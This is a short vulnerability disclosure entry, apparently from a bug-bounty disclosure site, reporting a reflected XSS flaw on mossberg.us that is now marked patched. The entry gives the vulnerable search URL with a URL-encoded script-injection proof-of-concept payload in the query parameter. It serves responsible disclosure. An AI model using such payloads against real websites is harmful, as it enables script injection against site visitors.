mossberg.us XSS vulnerability

Vulnerable URL: http://mossberg.us/searchcaf.php?query=%22%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...